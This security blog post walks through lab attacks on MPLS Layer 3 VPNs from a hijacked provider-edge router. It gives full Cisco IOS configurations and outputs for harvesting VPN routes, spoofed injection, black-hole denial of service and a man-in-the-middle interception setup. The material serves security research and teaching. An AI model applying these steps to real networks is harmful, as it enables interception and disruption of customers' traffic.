Bending the MPLS Security Model - part 4 (Layer 3 interception,injection and MitM)

An Attack on Layer 3 VPNs

Layer 3 MPLS VPNs are exceptionally flexible. Various weird and wonderful topologies can be created by the masterful tweaking of route targets, while the use of BGP to carry routing information means that absolutely bespoke policies can be applied. BGP is also far more scalable than any other protocol and has the brilliant notion of route reflectors, meaning that adding another node into even a very large network requires configuration in just a few locations.
Unfortunately, flexibility and complexity are the enemies of security and that is certainly true here. Any moderately sized MPLS network will use BGP route reflectors and, every peer needs to be defined in the route reflector's configuration so not just anyone can connect up to them. Unfortunately, once you have a peering (i.e. if you hijack an existing PE anywhere in the network) then you really do have the keys to the city.

The diagram below shows the topology used in all the scenarios discussed in this post. Basically, PE1 connects to network A (192.168.1.0/24) and PE2 connects to network B (192.168.2.0/24). Off to the side, somewhere in the MPLS network, lives Evil-PE. Attached to Evil-PE is an evil host. If this is starting to sound like an episode of "Funnybones" just bear with it...

Finding Targets

Route reflectors know every route for every VPN in the network and are willing to tell all their peers about all of them. This, and the lack of RPF checks, means that injection and spoofing attacks are absolutely trivial in layer 3 VPNs. With a layer 2 pseudowire you have to somehow figure out or guess the labels required to inject dodgy traffic, but with a layer 3 VPN the route reflector will just give you the information... for every VPN prefix in the autonomous system!
Here's an example:

PE1#show ip bgp vpnv4 rd 100:100 192.168.2.0/24

BGP routing table entry for 100:100:192.168.2.0/24, version 4

Paths: (1 available, best #1, table customer)

  Not advertised to any peer

  Refresh Epoch 1

  Local

    2.2.2.2 (metric 3) from 100.100.100.100 (100.100.100.100)

      Origin incomplete, metric 0, localpref 100, valid, internal, best

      Extended Community: RT:100:100

      Originator: 2.2.2.2, Cluster list: 100.100.100.100

      mpls labels in/out nolabel/21

      rx pathid: 0, tx pathid: 0x0

PE1#

Now normally with Cisco devices, only VPN routes that are imported into a VRF somewhere are kept in the table. This means that in order to see a VPN prefix, you have to have a VRF with an import route target matching the particular prefix. Here's output from the "Evil" PE which does not have any VRFs importing the same route:

Evil-PE#show ip bgp vpnv4 rd 100:100 192.168.2.0/24

% Network not in table

Evil-PE#

This is easily resolved by building a VRF that imports the prefix. But what if you don't know what route target to import? Fortunately, there's a bodge for this. As luck would have it, this conservative retention rule doesn't apply to route reflectors. We can use this to our advantage by simply setting up a bogus route reflector client on the box (it doesn't even need to come up):

Evil-PE#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

Evil-PE(config)#router bgp 100

Evil-PE(config-router)#neighbor 9.9.9.9 remote-as 100

Evil-PE(config-router)#address-family vpnv4

Evil-PE(config-router-af)#neighbor 9.9.9.9 activate     

Evil-PE(config-router-af)#neighbor 9.9.9.9 route-reflector-client 

Evil-PE(config-router-af)#^Z

Evil-PE#

*Jan 29 22:59:49.047: %SYS-5-CONFIG_I: Configured from console by console

Evil#show ip bgp vpnv4 all

Not quite there yet, the change won't do anything until routes refresh so let's force that:

Evil-PE#clear ip bgp 100 soft in

Evil-PE#show ip bgp vpnv4 all 

BGP table version is 3, local router ID is 3.3.3.3

Status codes: s suppressed, d damped, h history, * valid, > best, i - internal, 

              r RIB-failure, S Stale, m multipath, b backup-path, f RT-Filter, 

              x best-external, a additional-path, c RIB-compressed, 

Origin codes: i - IGP, e - EGP, ? - incomplete

RPKI validation codes: V valid, I invalid, N Not found

     Network          Next Hop            Metric LocPrf Weight Path

Route Distinguisher: 100:100

 *>i 192.168.1.0      1.1.1.1                  0    100      0 ?

 *>i 192.168.2.0      2.2.2.2                  0    100      0 ?

Evil-PE#

Great! Now we can see every VPN prefix on the entire network. Obviously in a real MPLS network there would be a *lot* more prefixes!

Injecting Traffic (Really Simple)

To inject traffic towards any prefix we like all we have to do is build a VRF which imports the appropriate route target. Let's start by checking which route target we need:

Evil-PE#show ip bgp vpnv4 rd 100:100 192.168.2.0

BGP routing table entry for 100:100:192.168.2.0/24, version 6

Paths: (1 available, best #1, no table)

  Not advertised to any peer

  Refresh Epoch 9

  Local

    2.2.2.2 (metric 3) from 100.100.100.100 (100.100.100.100)

      Origin incomplete, metric 0, localpref 100, valid, internal, best

      Extended Community: RT:100:100

      Originator: 2.2.2.2, Cluster list: 100.100.100.100

      mpls labels in/out nolabel/21

      rx pathid: 0, tx pathid: 0x0

Next we need to configure a VRF to import it:

Evil-PE#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

Evil-PE(config)#ip vrf push

Evil-PE(config-vrf)#rd 543:210

Evil-PE(config-vrf)#route-target import 100:100

Evil-PE(config-vrf)#exit

Evil-PE(config)#interface fa1/1

Evil-PE(config-if)#ip vrf forwarding push

Evil-PE(config-if)#ip address 30.30.30.1 255.255.255.0

Evil-PE(config-if)#no shut

*Jan 29 23:14:14.619: %LINK-3-UPDOWN: Interface FastEthernet1/1, changed state to up

*Jan 29 23:14:15.619: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/1, changed state to up

Evil-PE(config-if)#^Z

Evil-PE#

Now a device attached to the Fa1/1 interface can inject traffic spoofed from any source towards any VPN prefix learned via the configured route target. It really is as simple as that. The even better news is that we can spoof any source address we like - reverse path checks, when enabled, are done on the ingress PE - which we control. From our evil host we can inject whatever traffic we like towards hosts on the customer VRF:

Denial of Service (Simple)

Clearly it's very simple to inject traffic towards a target. What about causing trouble by black-holing traffic? Also trivial! As I said previously, once you're peered up with the route reflectors, you're golden. You can inject whatever routes you like and everyone will hear about them.

Let's say that a mail server lives on LAN B with IP address 192.168.2.100 and we want to DoS it. Let's just advertise a more specific route (with the same route target) pointing to the bit bucket:

The config is pretty straightforward:

Evil-PE#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

Evil-PE(config)#ip vrf pull

Evil-PE(config-vrf)#rd 876:543

Evil-PE(config-vrf)#route-target export 100:100

Evil-PE(config-vrf)#exit

Evil-PE(config-if)#ip route vrf pull 192.168.2.100 255.255.255.255 null0

Evil-PE(config)#router bgp 100

Evil-PE(config-router)#address-family ipv4 vrf pull

Evil-PE(config-router-af)#redistribute static

Evil-PE(config-router-af)#^Z

Evil-PE#

We can see that PE1 has bought this hook, line and sinker:

PE1#show ip route vrf customer

<snip>

      192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks

C        192.168.1.0/24 is directly connected, FastEthernet0/1

L        192.168.1.1/32 is directly connected, FastEthernet0/1

      192.168.2.0/24 is variably subnetted, 2 subnets, 2 masks

B        192.168.2.0/24 [200/0] via 2.2.2.2, 00:51:13

B        192.168.2.100/32 [200/0] via 3.3.3.3, 00:02:20

PE1#

A wonderful (ab)use of the "most specific route wins" rule. As we can see, the mail server is no longer reachable from LAN A:

Before:

root@host-a:~# ping 192.168.2.100

PING 192.168.2.100 (192.168.2.100) 56(84) bytes of data.

64 bytes from 192.168.2.100: icmp_req=1 ttl=61 time=70.7 ms

64 bytes from 192.168.2.100: icmp_req=2 ttl=61 time=60.6 ms

64 bytes from 192.168.2.100: icmp_req=3 ttl=61 time=64.1 ms

^C

--- 192.168.2.100 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2004ms

rtt min/avg/max/mdev = 60.616/65.187/70.793/4.223 ms

After:

root@host-a:~# ping 192.168.2.100

PING 192.168.2.100 (192.168.2.100) 56(84) bytes of data.

^C

--- 192.168.2.100 ping statistics ---

7 packets transmitted, 0 received, 100% packet loss, time 6011ms

root@host-a:~# 

Oh, dear!

Denial of Service (Almost as Simple)

What if the device we want to DoS is already known by a host route? Well, the good news is we can just make our dodgy route more desirable by smacking on an obscenely high local preference value. It also means we can advertise the full size prefix if we want to avoid arousing suspicion (or do more widespread damage):

Evil-PE#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

Evil-PE(config)#no ip route vrf pull 192.168.2.100 255.255.255.255 null0

Evil-PE(config)#ip route vrf pull 192.168.2.0 255.255.255.0 null0       

Evil-PE(config)#router bgp 100

Evil-PE(config-router)#address-family ipv4 vrf pull

Evil-PE(config-router-af)#redistribute static route-map SUPERDUPER

Evil-PE(config-router-af)#route-map SUPERDUPER permit 10

Evil-PE(config-route-map)#set local-preference 4294967295

Evil-PE(config-route-map)#^Z

Evil-PE#

Now we're advertising exactly the same network as the genuine PE2, but with a 4 billion local preference, which is the maximum available. Let's see what PE1 makes of this:

PE-1#show bgp vpnv4 unicast all 192.168.2.0/24
BGP routing table entry for 100:100:192.168.2.0/24, version 7
Paths: (2 available, best #1, table customer)
  Not advertised to any peer
  Refresh Epoch 1
  Local, imported path from 876:543:192.168.2.0/24 (global)
    3.3.3.3 (metric 3) from 100.100.100.100 (100.100.100.100)
      Origin incomplete, metric 0, localpref 4294967295, valid, internal, best
      Extended Community: RT:100:100
      Originator: 3.3.3.3, Cluster list: 100.100.100.100
      mpls labels in/out nolabel/22
      rx pathid: 0, tx pathid: 0x0
  Refresh Epoch 1
  Local
    2.2.2.2 (metric 3) from 100.100.100.100 (100.100.100.100)
      Origin incomplete, metric 0, localpref 100, valid, internal
      Extended Community: RT:100:100
      Originator: 2.2.2.2, Cluster list: 100.100.100.100
      mpls labels in/out nolabel/21
      rx pathid: 0, tx pathid: 0
BGP routing table entry for 876:543:192.168.2.0/24, version 6
Paths: (1 available, best #1, no table)
  Not advertised to any peer
  Refresh Epoch 1
  Local
    3.3.3.3 (metric 3) from 100.100.100.100 (100.100.100.100)
      Origin incomplete, metric 0, localpref 4294967295, valid, internal, best
      Extended Community: RT:100:100
      Originator: 3.3.3.3, Cluster list: 100.100.100.100
      mpls labels in/out nolabel/22
      rx pathid: 0, tx pathid: 0x0
PE-1#
 
PE1#show ip route vrf customer

<snip>

      192.168.1.0/24 is variably subnetted, 2 subnets, 2 masks

C        192.168.1.0/24 is directly connected, FastEthernet0/1

L        192.168.1.1/32 is directly connected, FastEthernet0/1

B     192.168.2.0/24 [200/0] via 3.3.3.3, 00:00:35

PE1#

Well, unsurprisingly, PE1 has gone for the prefix with the 4 billion local preference over the one with the default 100 and the entire /24 network is now black-holed.

Further explanation: The "show bgp vpnv4 unicast all 192.168.2.0/24" command returns three results. At first this seems a little strange but let's examine it.

• The blue result is the evil route, as we can see by the 876:543 route distinguisher and the 4 billion local preference. 
• The orange result is the legitimate route from PE-2 with a route distinguisher of 100:100 and a default local preference of 100. 
• The red result is a little confusing, it shows a route with an RD of 100:100, a local preference of 4 billion and a next hop of 3.3.3.3 (the evil PE). 

But the evil PE is not injecting any routes with a 100:100 RD, so where is this coming from? The clue is in the "imported path from 876:543:192.168.2.0/24" message - the route that was used was the one with an RD of 876:543, however when it is imported into the customer VRF (which is configured with an RD of 100:100) it inherits the VRF's RD on its way in.

Man in the Middle

OK, these nuisance tactics are all well and good, but can we actually insert ourselves into the flow of traffic? The simple answer is that it is perfectly possible and, actually, not all that difficult. We saw above how we could push traffic towards any destination in the network anonymously. We also saw how we could trump existing routes to pull traffic in. With some relatively minor tweaks, combining these two techniques allows us to "man in the middle" valid traffic flows.

The technique I present here uses two VRFs: "pull" and "push". The idea is to pull the traffic out of the network to a place where we can tamper with it, then push the modified traffic back in as if it were legitimate, as in the diagram below:

The "pull" VRF

The "pull" VRF is used to draw in the traffic we want to man-in-the-middle. We do this in basically the same way as the black-holing trick above, i.e. either by advertising a more specific prefix or by advertising the same prefix but with a very high local preference. There are some nuances that must be carefully observed, though, so let's examine this step by step:

Firstly, create the VRF. Be sure to use a unique route distinguisher value not in use anywhere else and set the export route target to match the route being mimicked:

Evil-PE#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

Evil-PE(config)#ip vrf pull

Evil-PE(config-vrf)#rd 876:543

Evil-PE(config-vrf)#route-target export 100:100

Evil-PE(config-vrf)#exit

Evil-PE(config)#

Next, we need to create an interface within the pull VRF to "off-ramp" the traffic we have intercepted:

Evil-PE(config)#interface fa1/0

Evil-PE(config-if)#ip vrf forwarding pull

Evil-PE(config-if)#ip address 101.101.101.1 255.255.255.252

Evil-PE(config-if)#no shut

*Jan 29 23:35:26.814: %LINK-3-UPDOWN: Interface FastEthernet1/0, changed state to up

*Jan 29 23:35:27.814: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0, changed state to up

Evil-PE(config-if)#

Now we have some routing to do. We need a static route for each prefix we want to off-ramp (don't forget, you need the source and destination networks off-ramped to MitM), plus a routing policy to ensure a maximum local preference is used when advertising the prefixes:

Evil-PE(config-if)#ip route vrf pull 192.168.1.100 255.255.255.255 101.101.101.2

Evil-PE(config-if)#ip route vrf pull 192.168.2.100 255.255.255.255 101.101.101.2

Evil-PE(config)#route-map PULL permit 10

Evil-PE(config-route-map)#set local-preference 4294967295

Evil-PE(config-route-map)#set community 987:654

Evil-PE(config-route-map)#router bgp 100

Evil-PE(config-router)#address-family ipv4 vrf pull

Evil-PE(config-router-af)#redistribute static route-map PULL

Evil-PE(config-router-af)#^Z

Evil#

Note that we also apply a community value in our route-map. This should be a community not found elsewhere in the network, though its actual value is not important. It is simply used as a marker on any bogus routes we create which will later use to stop us believing our own lies. As it's a standard community and IOS by default only sends extended communities for VPNV4 routes, it probably won't even leave the local device but that's not important as we only need to understand it locally.

Also note: you have to generate routes to off-ramp both sides of the conversation, otherwise you'll just break stuff.

The "push" VRF

The "push" VRF is used to "on-ramp" our tampered traffic back into the network. As with the traffic injection case we more-or-less just need to create a VRF which exports nothing and imports the route targets of the networks we're messing with - the only difference here being that we filter any prefixes that carry the "bogus route" community defined in the "pull" VRF.

So create the VRF:

Evil-PE(config)#ip vrf push

Evil-PE(config-vrf)#rd 543:210

Evil-PE(config-vrf)#route-target import 100:100

Evil-PE(config-vrf)#import-map PUSH
Evil-PE(config-vrf)#exit

Now create the route-map to filter out any junk routes that we generate, while passing everything else:

Evil-PE(config)#ip community-list standard BOGUS permit 987:654
Evil-PE(config)#route-map PUSH deny 10
Evil-PE(config-route-map)#match community BOGUS
Evil-PE(config-route-map)#route-map PUSH permit 20

Next we need the on-ramp interface (in this example out MitM station will be bridging at layer 2 so it lives in the same network as the "pull" VRF interface. If your MitM station is routing, adjust accordingly):

Evil-PE(config)#interface fa1/1

Evil-PE(config-if)#ip vrf forwarding push

Evil-PE(config-if)#ip address 101.101.101.2 255.255.255.252

Evil-PE(config-if)#no shut

*Jan 29 23:38:01.109: %LINK-3-UPDOWN: Interface FastEthernet1/1, changed state to up

*Jan 29 23:38:02.109: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/1, changed state to up

Evil-PE(config-if)#^Z

Evil-PE#

That's the "push" VRF complete. Pretty straightforward.

Man-in-the-Middle Some Stuff

As soon as you do this, you should start seeing traffic being off-ramped into your evil box. Assuming routes are in place on there and IP forwarding is enabled, you should then see the traffic being on-ramped back into the MPLS network and forwarded to its real destination.

I could think of no better demonstration for this than Pete Stevens' Upside down ternet. It's such a brilliant idea which illustrates the point well but you can imagine some way more sinister stuff can be done with less light-hearted tools.

Sidetrack: I work in an ISP and once came across an Internet feed which was supposed to be ceased but the circuit was still live. Our customer had moved away but the new tenants were stealing service through their old connection. I really wanted to turn their Internet upside down but I was told just to cut them off instead. Spoil sports. I digress...

OK, so down to it. Let's imagine that host B is actually a proxy server, which host A uses to access the Internet. We set up as above, off-ramping traffic for both networks so that we can man-in the middle the traffic. With a bit of iptables / squid jiggery-pokery on the evil box, we can intercept the web traffic while passing everything else through cleanly.

As we can see, SSH works fine but there's something not quite right with Host A's Internet today...

References

Upside-down-ternet
Prank-O-Matic (elaboration of the upside-down-ternet)